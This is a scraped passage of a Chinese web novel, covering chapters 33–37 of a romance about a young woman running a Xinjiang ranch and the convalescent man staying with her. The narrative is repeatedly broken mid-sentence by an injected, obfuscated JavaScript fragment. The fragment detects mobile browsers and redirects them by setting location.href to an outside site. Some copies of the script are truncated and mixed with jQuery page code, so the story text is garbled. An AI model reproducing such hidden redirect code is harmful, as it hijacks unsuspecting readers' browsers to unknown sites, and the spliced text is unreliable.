就知道拿话挤兑她！姚新泉无奈翻了个白眼，这话其实是她说师月江的。 前两天姚新泉给师月江拿了一罐百雀羚跟蛇油膏让他擦脸擦手，她当时说，“你本来就细皮嫩肉的，别新疆的北风再把你给吹得皴裂了！” 师月江不想要，不是因为别的，主要是吃人家的住人家的还用人家小姑娘的擦脸油，师月江实在是不好意思。 但姚新泉误以为他觉得这东西只能女人用，他一个大男人不能用，所以就说，“你瞧你弱不禁风的样子，你现在手腕估计还没我的粗，有啥不能用的？” 好家伙，记仇到现在啊！ 姚新泉懒得理他，她回头看向皮皮，很认真得跟她摇头，“宝贝，你不能上去！要不你抬腿去敲？”说着示意她转过身去摆出踢人的姿势，蹄子落在雪墙上。 皮皮的眼睛好像亮了起来，她像是找到了什么有趣的事情，两条腿轮换着“踢人”。她也不是傻子，不至于不舒服了还硬要用腿踢，就是孩子想有点参与感罢了。 见她找到乐趣了，姚新泉便也不再打扰她，埋头继续干活。 地方实在是大，两人干了将近一天半才垒完，等师月江回到屋子的时候胳膊都在发抖。 见他这样姚新泉又笑得不行，“你看你那么大个个子，瘦的身上就皮包骨头，平时吃饭也跟小鸡仔一样，也不见你好好锻炼，你连莱尼都抱不动吧？” 脱下衣服的莱尼根本懒得理两人，靠在暖气边上沉沉睡去，好暖和啊！ 师月江都懒得解释，自己如今的食量已经增长了不少，在这里他已经算是吃得好睡得好了，身体总会慢慢补起来的。 见她眼中满是笑意师月江也不跟她计较，只是洗完手后没忍住往她身上抖了两滴，然后得来姚新泉的一个白眼，“幼稚！” 姚新泉把饭热上，师月江之后会洗碗所以也不去跟着凑热闹，他拿起了姚新泉之前买的《神雕侠侣》出来看。 姚新泉瞄到他在看这本书便问，“看到哪儿了？” “小龙女被欺负之后负气出走，杨过下山去寻人”。 姚新泉想到剧情就心塞，忍不住吐槽，“你说作者有什么毛病，好好的姑娘非要让人欺负了！这就是那什么把美好的事物毁灭给人看是吗？从而能达到一些戏剧效果？反正我是没觉得哪个读者是真的希望小龙女被人欺负的。” 师月江嗯了一声，“不过尹志平也挺惨的”，他觉得这话有歧义，赶紧解释了一句，“我不是说小说角色，我是说历史上的真人。” “这个角色有原型？”姚新泉有些惊讶。 师月江摇头，“不是原型，只是这个人名是历史上真实存在的。尹志平确实是全真教的一名道士，还是丘处机之后的第六代掌教宗师，对于全真教的贡献也非常大。而且历史上的他严于律己、不慕名利，人品那是说得上的，可是小说里却把他刻画成了一个乘人之危玷污女性的卑鄙小人” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15535468|170392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，师月江叹了口气，“文人的笔杆子轻轻一写，别人的千古名声就没了。” 姚新泉瞪大了眼睛，“这就有点膈应人了，我要是道教的弟子我肯定受不了，他们没提出什么意见吗？” 师月江叹了口气，“这本书开始连载得倒是比较早，但那时候是在香港连载，咱们这边基本很难看到。道教倒是也有相关的协会，我记得好像是五几年的时候成立的，但后来的事情你也知道。” 姚新泉点头，那段时间他们能低调活着就已经不容易了。 “道教协会好像是八十年代才恢复工作的，目前还没见他们跟作者商量这件事，但我听说已经有不少人不满了，提出意见是肯定的，就是不知道作者会不会修改！” “我觉得会”，姚新泉很是肯定道，“除非说作者跟这个人有什么仇怨，或者有什么别的企图，不然正常情况下这样污名化一个历史上的名人，不告不理也就算了，既然有人提出来，还是相对官方的一个组织的话，他不可能不去考虑他们的意见的。” 再说了如果这个历史上的尹志平跟全真教没有任何关系，只是一个普通人，甚至是个毫不相干的名人倒也无所谓，问题是人家就是全真教的啊！ 你好端端把人家写成□□犯谁能乐意？ 师月江点了点头认同了她的话。 不知怎么着姚新泉又来了谈兴，“我之前在学校读到这本书，好多男生都说是因为她对尹志平有了感情，我当时就恨不得上去给他们一脚，狗屁的感情！谁他娘的会对□□犯产生感情？” 师月江见她柳眉倒竖的模样心里有些好笑，又赶忙安抚，“我觉得你说得有道理，小说里说了小龙女本性温和，从没有杀过人，所以即便对一个伤害自己的人她也未必下得了手”，作者把这个人物刻画的比较复杂，有没有他自己的一些想法掺杂在内他不愿意去考虑，估计姚新泉也不乐意听。 姚新泉哼了一声，“反正不管什么原因，绝对没有任何一点是因为感情！” 两人顺着又聊起了别的小说，两人都不是死读书的性格，生活中不可能只有课本，在读书之余也会看些小说消遣，一时间倒是谈的很愉快。 “我大学的时候其实买了不少画报、漫画这些，像是《霍元甲》、《少林寺》，还有《连环画报》，上面好几个作者我都挺喜欢的。还有漫画，不知道你有没有看过，我之前还买了《铁臂阿童木》、《哆啦A梦》、《阿拉蕾》跟《七龙珠》呢！都特别好看！” 她脸上露出些遗憾来，“后来毕业我爸妈给我在上海买的房子离我当时的单位特别远，所以我就另外租了房子，那些画报跟漫画就都没带过去，在学校卖给学弟学妹了！” “要是早知道我会回来干脆就直接寄回来了，咱们冬天也能多个消遣！” 师月江没说自己都看过了，反而配合着做出遗憾的表情来又安慰她，“没事儿，咱们每天也挺充实的”，胳膊打颤的那种充实。 34. 第 34 章 师星野放下电话后叹了口气，李秘书有些担忧，“师总，是小师总那边遇到什么麻烦了吗？” 师星野摇了摇头，“没什么事情，你先去忙吧，有事我叫你。” 他靠在椅背上想事情，从电话里听弟弟的状态倒是蛮好的，而且他不经意间透露的两人相处日常让师星野听了也高兴。 弟弟从回来到出去旅游期间虽然脸上一直带着笑，可性子却沉静了许多，身体也一天天瘦削了下去，一米九的大个子瘦的跟个竹竿一样，不知道的还以为他吃了什么违禁品呢！ 他也多次带弟弟去体检，也让家庭医生关注他的身体问题，又请了老中医来给他调理，弟弟倒也配合，该吃药吃药，该抽血抽血。 他身体上没什么大问题，就是心理上、精神上的压力和痛苦让他折磨着自己。 莱尼的到来确实让他好了一些，他从夏末开始就一个人开着车带着莱尼出去旅游了，不曾想现在倒被困在了新疆一个偏远的牧场。 师星野叹了口气，他确实很是担心弟弟，也为了不能和弟弟见面、一起过年而感到遗憾，但无论如何弟弟的心情最重要。 他高兴就好。 “李秘书，上次让你查的姚家牧场的情况那边反馈过来了吗？” 李秘书把文件夹递给了师星野，师星野没接，“这样，你走张教授的关系去农业大学找一下他们畜牧相关的教授，让他们分析一下牧场未来的发展前景以及如果要改良需要做些什么。钱不是问题，了解清楚比方说是否需要引进什么动物？他们有没有渠道？我这边会给它们实验室再投入50万，后期如果有需要可以再申请拨款。让他们做个可行的计划出来，有偿的。” 李秘书咂舌，大老板这真是把小老板当命根子了啊！ 这牧场搭上师家的车那可真是要起飞了！ “那个小姑娘的情况我去了解过了，养殖水平暂且不提，是个聪明又好学的，她既然接手了那家牧场，那肯定是要往现代化的方向发展的。人家对咱们月江有恩，那我肯定不能小气了！” 李秘书走了之后他又叹气，心底有一些隐秘的担忧，孤男寡女又都是年轻人，弟弟长相是拔尖儿的，那个女孩子从照片上来看也是个很好看的小姑娘。 两人一起待这么长的时候，谁知道会不会发展出什么感情？ 人家小姑娘为了回家接手牧场，连上海外企的高薪工作都辞掉了，那为了弟弟来北京的可能性也不大。 如果两人真的成了，按弟弟的性子那肯定就是要留在牧场了。 这么大老远的，将来见一面都费劲儿！ 师星野叹气，又琢磨着干脆把公司往北疆开吧，到时候万一有什么事务要去处理，自己也能顺带去看一看弟弟弟妹。 不然将来两人有孩子了，自己这个做大伯的逢年过节难得见一面，孩子对自己不亲怎么办？ 师月江是怎么也想不到，他哥为了他未来的孩子已经打算把公司注册到北疆来了。 …… 话说马强一般情况下收了牛羊办好手续后那都是没养两天就往下家去卖的，但是姚新泉这批牛羊他收到手之后愣是没找买家，反而在家里用心养着。 “你说说你这白往里搭钱，也不知道图什么？”他媳妇儿嗑着瓜子吐槽道。 马强白了她一眼，“你懂个屁！我过会儿找人过来杀一头羊跟牛，我得带走一部分，剩下的你也不许动，我得拿去走关系。” 马芳芳切了一声，当谁没吃过羊肉一样！ 可等马强带着半扇分好的牛肉跟羊肉离开后，马芳芳没忍住跑去割了一块儿牛肉下来打算炒着尝尝。 “什么破肉还值得你小心成这样，真把别人当贼了是吧？要我说这肯定是被人骗了还给人数钱呢！蠢货一个！” 她是马强二婚娶回来的小媳妇儿，倒也不是马强抛弃了前面那个，只是前面那个没福气，年纪轻轻就病死了，也没留着个孩子。 马强虽然比她大了十几岁，但是人家有钱有本事，虽然是个二婚，但没孩子，那跟头婚有啥区别？ 婚后的日子过得倒也不错，反正马芳芳还挺开心的，就是这人一天到晚为了点儿破牛破羊在外面跑，都没时间陪她，真烦人！ 她不大会做饭，随便把瘦肉切了切，下锅拨拉熟之后放了点儿皮牙子跟辣椒进去翻炒了一会儿，又撒上盐就出锅了。 等盛好后她端着盘子人都傻了，“这，这是我做的？” 没等拿筷子她便忍不住捏了一块儿牛肉放在嘴里，嫩！真嫩！ 没有腌制的肉又嫩又滑的，没有纤维感，似乎放在口中不用咀嚼，牙齿轻轻一碰就能被咬断一样。 而且每块儿肉里都带着丰富的汁水，咬下去的瞬间汁水在口中四溢。辣椒跟皮牙子又为牛肉增添了丰富的口感，马芳芳眼睛都瞪大了，“嘿，这老马还真没被骗啊！” 另一边马强开着车到了一家私房菜门口，又从后备箱里把自己带来的牛肉、羊肉提了出来。 “马总您来了啊，您快里面请！”那人接过马强手里的袋子，马强赶紧道，“这可是我今天的宝贝，你过会儿跟大厨叮嘱一下，可得好好露两手，我这单生意要是谈成了，肯定还是续订你家会员的！我那些朋友我也都给你们介绍过来！” 这家私房菜在他们市里名头不算特别大，主要也是开的时间不太长，但是他们大厨手艺不错，而且环境也还好，包间私密性什么的都还挺好的，所以马强也乐意过来。 经理听了这话更高兴了，“您放心，我肯定让大厨拿出看家本领来！不知道您今天的客人是哪位呢？若是有忌口咱们也好提前避开！” 这也是马强在这里消费得高兴的原因，他们店别看不太大，但是估计老板也是个有本事的人，消息很是灵通，凡是市里有点儿名气的人，他们这里都能弄到人家的喜好避讳或者忌口什么的。 “是家乡好超市的经理唐跃军”，经理听到后只是笑着点头，马强就知道他们心里有数了。 “我带来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15539946|170392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肉有不少，你让大厨看着做，每个部位的最后再给我留一块儿好的不要加工。” 经理了然地点点头，“等大师傅分割好了之后我会让人打包好的。” “行，那今天就辛苦你们了！” 成败在此一举啊！ 新疆别的多不多不好说，这养牛羊的人那恨不得遍地都是啊！ 他之前生意做得不算小，可是也不算正规，没正儿八经注册公司去搞，也就导致很多之前不如他的人已经爬在他的头上了！ 家乡好超市是他们市里最大的一家综合性的超市，不管是生鲜、粮油还有零食、服装、日用品，反正基本上什么都有。 他家货源也广，品种也多样，所以从入驻本市后就立马挤压了其他几家本地超市的生存空间。 这家超市最开始是开在乌鲁木齐的，后来慢慢往各地扩张，在新疆算是很有实力的一家超市了，所以马强很想攀上他们。 如果自己公司的东西能进家乡好超市，那说出去感觉都不一样了啊！ 特别是对于他这种才成立的小破公司来说，简直算是镀了一层金！ 之后就算他不再这么想办法攀关系，人家知道他公司的产品进了家乡好超市那肯定跟现在不一样！ 他如坐针毡一般等待了半个小时左右家乡好超市的经理孙建设才被引了进来，马强赶忙起身很谦逊地握手，“孙经理你好，我是‘鲜锋’肉业的老板我叫马强”，握完手后又殷勤地为他拉开椅子倒上茶水。 “我是个粗人也不太懂这些茶水，人家说好我就跟着点头，希望没委屈了您！” 孙建设笑了笑，“你这可就折煞我了，我就是农村出身的，别说是这种茶水，早年能有口干净水喝都不错了！” 两人又寒暄了两句马强这才说明来意，“今天辗转请您来这里主要是因为我这边收到了一批肉质特别鲜美的牛羊，我这人说话直，也不会别的，就一手看牲畜的本事还算不错。我也直接说来意了，我是想让您尝尝这肉如何？这是精品肉，比市面上绝大多数肉的肉质都好，不知道这肉可能在咱们超市上架？” 孙建设早就习惯了饭桌上推杯换盏之间试探性地你来我往，马强这么一记直球倒是让他愣了愣。不过也许是厌烦了那些人说一句话兜三五个圈子的模样，他便也实话实说了，“我们超市一般品质的牛羊肉不缺，也有固定的合作商家”，不等马强泄气他又接着道，“但如果你这批肉的质量是真的很高，那我们倒也不是不能再给你开一条线，当然这一切的前提都是你家的肉确实好，另外还得保证产量”，毕竟如果这就是一锤子买卖其实也真没必要了。 马强眼睛亮了亮，“瞧您这话说的，我不敢说每年有多大的产量，但是逢年过节的时候还是能有不少的！” 马强忍不住在心里念叨，回去之后他可得好好求求小姑奶奶，这牛羊可得好好养，这可是关系到他的身家性命啊！ 或者她如果能把养牛羊的秘方告诉他也成！当然了，人家也不傻不是？ 35. 第 35 章 “红烧牛腩、杭椒牛柳、烤牛肋排、葱爆牛肉、牛尾汤、炭烤牛舌、清炖牛肉、凉拌肚丝”，孙建设没忍住笑了一下，“你这是带了多少肉过来？” 马强既然决定在人家面前摆出一副憨厚直来直往的模样自然也不再打哈哈，便直接道，“不算特别多，我这次总共收了75头羊跟14头牛，牛羊各宰了一头，我今天各带了半头过来，除了用来做菜的这些之外剩下的您可以带回去，不管是自己吃或者怎么样都成！” 没等他说话，马强又介绍桌子上的羊肉，“烤羊腿、孜然烤羊排、红焖羊肉、羊肉丸子、红烧羊蝎子、白切羊腩、葱爆羊肉、羊杂汤。我让大师傅把不同部位的肉都分开了，专门做了不同的菜，您看着尝尝？” “这可太多了”，孙建设都不禁有点感叹，请他吃饭的人不少，但是像马强这样不管什么单数双数、肉菜素菜的一股脑上来的倒让他啼笑皆非了。 可越是这样越是让他想要尝尝这肉到底有多好！ 他夹了一筷子白切羊腩，味道到底好不好那还是得看原味。 孙建设夹起一片羊腩看了起来，“这肉看着不错，脂肪和瘦肉有分层，煮熟之后看起来软糯和筋道并存啊！” 这位大师傅是保留了羊皮的，外皮经过焯煮和冰镇之后看起来就很弹。 他将羊腩放入嘴中，羊肉的脂肪层如凝脂般顺滑，入口即化，而瘦肉部分因处理得当吃上去一点也不柴，咀嚼时却也还是带着轻微的撕扯感。 至于羊皮的弹压跟底下胶质层的黏糯结合在一起，更是给味蕾带来了绝佳的奇妙感触。 本地有些羊地味道会重一些，有人就更喜欢这种味道强烈的肉，但大多数人还是更喜欢没有太大膻味的羊，孙建设就更喜欢后者。 “手艺好，肉也好！” 他感叹了一句便住了筷子，“这样，我出去打个电话，这么多的菜咱们两个人也不可能吃得完，让师傅先收下去保温，我去把超市的管理层都叫上来，这样既不浪费，同时也能让你家的肉进超市少两分阻力。” 一听这话马强便乐了，赶紧找人把菜撤下去温上，别说只是撤下去过会儿上，现在让他回家杀一头再带过来重新做他都愿意啊！ 外面马强的生意做得怎么样姚新泉倒不是太清楚，不是她没跟人联系过，是家里的电话线最终还是没熬过这个冬天，在又一次的大雪中牺牲了。 “幸好我提前跟家里人说了，你也提前跟你哥说了，不然你家里人怕不是要以为你失踪了吧？” 师月江笑着摇头，他哥有可能飞过来派人上山找他。 “行了，反正联系不了外面，咱们就老实过自己的日子吧！腊月初八过了咱们才反应过来，反正现在也没什么事儿，今天又是小年，咱们之后就顺着习俗往下过吧！” 姚新泉兴致勃勃，今年家里过年不能放炮不能贴福之类的，不过本地没有那个规矩说不能过年。 姚爸姚妈都是特别开明又特别疼她的人，所以姚新泉相信就算父母在天之灵知道，他们也更希望自己能好好过完每一天，而不是守着他们的牌位，让自己沉溺于悲伤之中。 所以她打算好好把年过了。 师月江自然是没有意见，只是有些不好意思道，“我不太懂这个”，他是真的不懂。 早些年家里条件还好的时候他年纪小不记事，后来家里出了事儿，他们过年能吃上一顿饺子就算很丰盛了。 等平反回来之后，最开始家里爸妈过年的时候也忙着工作赚钱，可能到了大年三十或者初一抽空跟他们兄弟俩吃个饭。 后来他们心思也不在工作和家庭上了，两人虽然没有离婚，但是在外面都有人，就说他们兄弟也大了不需要跟他们一起过年了。 又过了两年，他们为了给自己所谓的真爱名分，也为了那边的孩子离婚，家里就更没有什么所谓的团圆年要过了，不过师星野每年不管再忙都会回家陪他。 等到他读军校被特招入伍后那就更没什么可说的了，所以真算起来他好像没过过什么正经的年。 姚新泉无所谓地摆了摆手，“你以为我记得清楚啊？我那时候更多的只是一个旁观者，时间久了印象就淡了，咱们摸索着来呗！” “比方说我记得今天小年好像是要大扫除的，咱们开始吧！” 师月江点了点头，他把之前自己翻出来的家里的旧报纸叠了帽子递给姚新泉，姚新泉笑了笑，接过后就扣在头上，“今年的工作量不大，这是新房，住了也没多久，应该也不太脏。” “不过我记得我爸最开始是说想盖外面是砖房里面是土坯的那种房子，说保暖性好。但我妈没同意，说住了半辈子土坯房，之前好不容易住上砖房，现在换房子难道又活回去了？反正大不了多烧点儿柴呗！” 姚新泉提起父母就满脸笑意，“我爸嘴上嘟嘟囔囔的，但实际上他跑去找人专门弄了锅炉回来，这在我们县里就算不是头一个，但也算是少见的东西了！锅炉暖气一安这屋里也足够保暖，而且干净一些，除了厨房那边灰大，其他地方还好。” 如果是土坯房，家里的灰肯定更多。 “你住的那间你就把桌子那些擦擦就成，九月左右我回来的时候我收拾过一遍，不太麻烦，主要是厨房、客厅、卫生间这些地方，还有外面堆放杂物的地方也得收拾收拾。” “今年没来的及，我明年打算围个院子，等春天的时候去下面谁家挖两棵葡萄藤回来，你看咱这屋门口光秃秃的，啥也没有！” “我到时候帮你去问吧，尽量找那种能适应高海拔跟高寒气候的葡萄。” 姚新泉点了点头，不过这都无所谓，养死了再换一株就是了。 姚新泉在厨房收拾，师月江主动请缨去了卫生间，小家伙们则是跑出去玩了，莱尼也去了。 让姚新泉说，她觉得莱尼还挺喜欢那套衣服的，这不就穿着出去玩儿了吗？

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15539947|170392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 收拾屋子就是这样，看着好像没什么成果，但是轻轻松松让你忙一天还累成死狗。 姚新泉瘫坐在沙发上不想动，见状师月江主动站了起来，“我去煮个面吧？” 见姚新泉满脸写着怀疑，不是说不会做饭吗？ 师月江赶忙解释，“我是想着家里有挂面，你昨天卤牛肉的汤还在，我把面条煮好之后倒点儿汤，再烫点儿白菜叶子，我觉得会好吃！” “这不就是红烧牛肉面吗？”姚新泉失笑，“那你去吧！” 两人吃过味道还不错的牛肉面后匆匆休息了，第二天两人除了喂牛羊就在家里瘫了一天。 腊月二十五的时候姚新泉突然想到家里还有豆子，“你刚来那天我还煮了豆浆，这两天都给忘了，咱们再磨点儿豆子吧！” 想到什么她用力拍了下大腿，“我咋都忘了，我们可以发豆芽啊！” 她飞快地去把家里的黄豆、绿豆翻了出来，找了两个盆各装了一些豆子进去泡着，绿豆少一点，黄豆多一点。 “你喜欢吃黄豆芽还是绿豆芽？” “绿豆芽”，师月江毫不迟疑地回答，姚新泉也满意地点了点头，“我也喜欢吃绿豆芽。” 姚新泉有时候还挺挑嘴的，比方说当黄豆还是毛豆的时候她很喜欢吃，不管是用来炒菜还是单独炒，又或者把豆荚煮了吃，她都很喜欢。 可是一旦当黄豆成了豆芽之后，她就开始讨厌那些豆粒粒了，觉得人家又不脆又不香，也不清甜，反正非常难吃，如果不是不想浪费粮食，她甚至都想专门把黄豆粒粒吐掉！ 此时听到师月江也更喜欢绿豆她又高兴了，“等绿豆芽发好了之后咱们可以清炒也可以凉拌，冬天吃上肯定爽口！” 因为泡发豆子需要时间的原因，姚新泉决定将本来不知道安排在哪一天做的炸小吃放到今天来。 “我打算做馓子跟麻叶，你想吃什么？” 师月江想了想才道，“咱们能炸小酥肉吗？” “这还有啥不能的？”姚新泉摆了摆手，“正宗的不会做，不正宗的难道还不会了？再说了这又是肉又是用油去炸，只要调味儿不拖后腿，一般也难吃不到哪里去吧？” 师月江想了想确实是这个道理，他看着姚新泉的笑脸也笑了起来，好像没有什么事情能难到她或者打垮她，她的乐观跟强大不自觉地让师月江的目光长久地在她身上停驻。 “那你去把里脊肉给我拿一些过来，我去找芝麻，厨房里面粉鸡蛋清油这些都有，我先把面和上。” 师月江本来去拿肉的，可不知怎么又跑去了菜窖，端了小半盆蘑菇回来之后问，“咱们可以再炸些蘑菇吗？”他笑得很是不好意思。 难得他说了点儿自己想吃的，姚新泉自然愿意配合。倒不是说她非要哄着对方，只是这里就他们两个人，举手之劳能让对方开心的事情为什么不做？ 再说了，再不吃的话，蘑菇就要坏啦！ 36. 第 36 章 等到了和面的时候姚新泉没忍住问了一下，“你真的想吃馓子吗？” 师月江抬头看了她一眼便知道她是怎么想的了，便道，“其实也没有特别想吃，油炸的东西吃多了容易腻，咱们炸这么多的话不吃都会放软了。” 姚新泉用力点头，“就是就是，那就不炸馓子了”，她话音一转，“不过我想炸糖糕，你想吃吗？” 师月江又配合地点头，“想啊，外面酥脆里面软糯中夹着糖心，我也喜欢吃的！” “成，那这样，咱俩一人一盆儿面，我来和麻叶子的，你去发面，不用很多，咱们炸上一些，那东西多了吃着也腻！” 想了想又问，“你想吃丸子吗？反正今天都要炸，不如都做上一些？” 师月江见她这么有兴致便也都随着她来，“那要什么馅儿的呢？我先去搬回来？” “萝卜吧！咱们炸一点儿萝卜的素馅丸子，再炸一点儿萝卜肉的丸子！”说着推他，“我估计你也不会发面，你去菜窖拿些萝卜上来，削皮再擦丝。你在我旁边这个柜子里找找，我记得里面有一个我爸自己做得擦子，你洗洗之后再用。” 姚新泉给他挪了个位置，师月江蹲下翻找了起来，没一会儿拿出一个木头工具，“是这个？” 姚新泉点头，随后有点不可置信地问他，“你还真是大少爷啊，连擦子都不认识？” 师月江有些尴尬地摇头，“也不是，以前家里条件差用不上这些。后来条件好起来了我也没用的机会了。” 行吧，姚新泉点了点头，“这擦子是我爸自己做得，外面的框架是他刨的，中间那个是他找了个厚实的铁皮，用钉子打孔做出来的擦子。你过会儿不管清洗还是擦丝都小心点儿手，别割着了。” 师月江老实点头，他算是发现了，自己现在可真是一点儿用都没有啊！ 他的身体虽然在恢复中，但是比起健康或者说是健壮的姚新泉来说不值一提。喂牛羊的活虽然在干，但是明显姚新泉干活更利索啊！而且没自己人家不也一样干活？ 家里活也不会干，什么都都得学，还得吃人家为了过冬储存下来的粮食。 他确实从学校里学到了很多东西，但是放在现在这个环境下，是他学的射击有用还是装甲车操作有用？是他学的手榴弹投掷有用还是武器的分解结合有用？亦或者曾经熟练掌握的无线电报通讯有用？ 要真说挨点儿边的是类似观察气象以及野外生存了，但是前者他算是发现了，姚新泉对本地气候那算是了如指掌，人家说这雪会下到后天，那明天就绝对不会停！他会的那点儿还是别卖弄了！ 至于后者的话，别说这大冬天的跑出去野外生存非得给自个儿冻死在外头，就算是夏天，他现在这个脆皮身体撑得住？ 可别死在人家牧场了！ 师月江叹气，他可真是一个带着拖油瓶的大累赘啊！ 想到这里师月江忍不住苦笑，不过没一会儿又调整好了心态，本身就是来给人家添麻烦的，如果再垮着张脸这不是给人家找不痛快吗？反正已经这样了，就做些力所能及的，至少别给人家添堵。 想到这里师月江心里闷闷的，他又一次认识到了原来自己是这么无用啊！ 等他调整好心情搬着萝卜回屋后姚新泉上下打量他，看得师月江都不自在了，“怎么了？” “没啊，我以为你种萝卜去了！” 师月江忍俊不禁，“你看，这么些够吗？” 姚新泉看了看，“够了够了”，她家萝卜大，足够两人吃了。 “麻叶子的面我和好了，先放到一边儿醒着，糖糕的面要发，不过现在屋里热，估计下午就能用了。你赶紧收拾萝卜，我把之前拿回来的里脊肉化开，先腌上。到时候咱们先炸麻叶子再炸糖糕，然后是蘑菇小酥肉，最后再炸丸子，我不想把萝卜味儿沾到别的上面。” 师月江没意见，搬了个小板凳，蜷缩着两条大长腿在那削皮，姚新泉看了他一会儿后正想发面，突然觉得不对，皱着眉问，“师月江，糖糕好像不用发面吧？” 师月江抿唇，我可真是个废物啊！我知道啥呢？ 不过幸好姚新泉也没想得到个答案，她努力回想小时候的记忆，“我隐约记得好像是要烫面吧？”可对上师月江茫然的双眼后她又回过神来，“没事儿你忙你自己的，我琢磨琢磨，实在不行我先少弄一点儿，就算最后咱们糖糕做得不成功，我回头再发面做糖三角！”反正她就是想吃甜滋滋的糖馅儿了！ 姚新泉在锅炉上烧着一壶水，感觉温度差不多了便倒了一些在盆里，然后倒入一些小麦粉，快速搅拌，发现面粉少了又加了一些后，还倒入了一些清油，再把面团搅拌到了没有干粉的程度，这才把面盆儿放到一边去醒发。 随后又把蘑菇洗好晾到一边，见里脊肉解冻后清洗一遍再将肉切成肉条。她没切太细，主要是觉得切的太细了到时候一炸不得干巴了？肯定不好吃。 但也不能太粗，怕炸不熟。 然后切了些姜丝、葱丝进去，倒了一点点散白去腥，又放了生抽跟味精。看着肉姚新泉想了想，干脆把家里的有的胡椒粉、花椒粉、孜然都放了一些进去，最后再稍微放了些盐，抓拌均匀后她舔了舔手指，觉得咸淡应该还行就放到一边腌着了。 随后又翻出一块儿腿肉来，去皮剁碎后等着放到萝卜馅里面。 “你把萝卜攥干一些”，想了想又道，“要不你多擦一些？反正咱们还得包包子，今年除了白菜就是萝卜了，今天都弄了，就一块儿全弄完呗！” 师月江老实点头，他可会干这种没有技术含量的重复劳动了！ “等明年吧，到时候我早点买个冰箱，春天的时候烫一点荠菜，夏天了我再烫一点马生菜，都冻起来，或者晒干也行，等倒了冬天就可以用来包包子跟饺子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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师月江点头，“你要是不忙也可以晒一点儿，或者回头”，他顿了顿接着之前的话说，“蒲公英也能清热解毒、去火消炎，对于咽喉肿痛也有用，还能减轻口腔溃疡呢！冬天蔬菜少，牧区又喜欢吃肉，所以没事儿可以泡点喝喝，对身体只有好处的！” 姚新泉似乎没有发现任何异状，她点了点头，“倒也是，我确实是忙，但也不至于忙得连这点儿时间都抽不出来，况且就算我没时间，我也可以找缪婶儿她们帮我晒一点”。 师月江微微垂着头嗯了一声继续说，“还有椒蒿，我不是太清楚你们本地是不是叫这个名字，但我好像听人说新疆这边有人叫它新疆芥末。” 本来还有点茫然的姚新泉听了这话恍然大悟，“你说的是麻烈烈啊！那东西我们这边也挺多的。” “估计是根据口感来得”，师月江想了想答道，“不过这也是好东西，能宣肺止咳，对风寒感冒有效果。” “除此之外我还记得你们本地是有一个种蘑菇，叫阿魏菇吧，那也是好东西，不仅能开胃健脾，同时还能治疗关节炎呢！而且我听说已经有人在人工培育这种蘑菇了，据说里面好像还有什么成分能够抗衰老以及抗癌！” 姚新泉瞪大了眼睛，那可是癌啊！ “你别这样，是说抗癌，又不是能治愈”，师月江失笑，“现在还在研究培育，不知道将来到底结果如何，希望是好的吧！” 不管什么时候人们都是谈癌色变的，希望真的有什么提取物能早日攻克这种疾病吧！ 37. 第 37 章 两人有一搭没一搭地聊着，虽然是第一次炸这些东西，但是姚新泉觉得自己做得还挺有模有样的。 “师月江，你把窗户给我打开一下，这屋里油烟太大了，不开窗户受不了。” 师月江嗯了一声，过来把窗户推开。 姚家的屋子除了厨房的这一间以外，每一间的窗户外面都钉了一层塑料薄膜，防风保暖用的，厨房这间没贴就是因为有时候做饭油烟太大了实在受不了。 “县里有抽油烟机吗？” 姚新泉摇头，拿着笊篱在锅里拨拉着，“我估计是没有，如果真的想要可能还得去市里定。” 她上海的那套房子装修的时候姚爸姚妈是给她安了抽油烟机的，想着就算自己不住，租出去也好租，所以姚新泉知道现在抽油烟机大概是什么价格，那个价格到了他们这里还得贵上一成，反正在他们县里肯定是没什么市场的，所以估计没有专门卖的店。 “县里有一家专门卖家用电器的，我家那个洗衣机就是在那儿买的，双缸半自动的，差不多要1100块，贵死了！” 但没办法啊，姚爸姚妈两人每天也有好多事情要做，不可能把时间全都放在做家务上。而且这种事情不就是早买早享受吗？赚钱就是为了让自己不过苦哈哈的日子的！ “回头我帮你买一台过来，没有抽油烟机家里油烟重是一方面，还弄得到处都脏兮兮的，没必要。” “你给我买？”姚新泉看了他一眼。 师月江点头，“我在你家吃你的喝你的，总不能什么都占你便宜吧？”他倒也没有别的意思，主要确实觉得自己占了人家很大的便宜。姚新泉没收他房租、自己的伙食费以及莱尼的伙食费，自己就算干一点活，可这又能抵多少？ 姚新泉意味不明地笑了一下，她也没拒绝，“行，那到时候你自己看吧”，说完便也没有再理会他了。 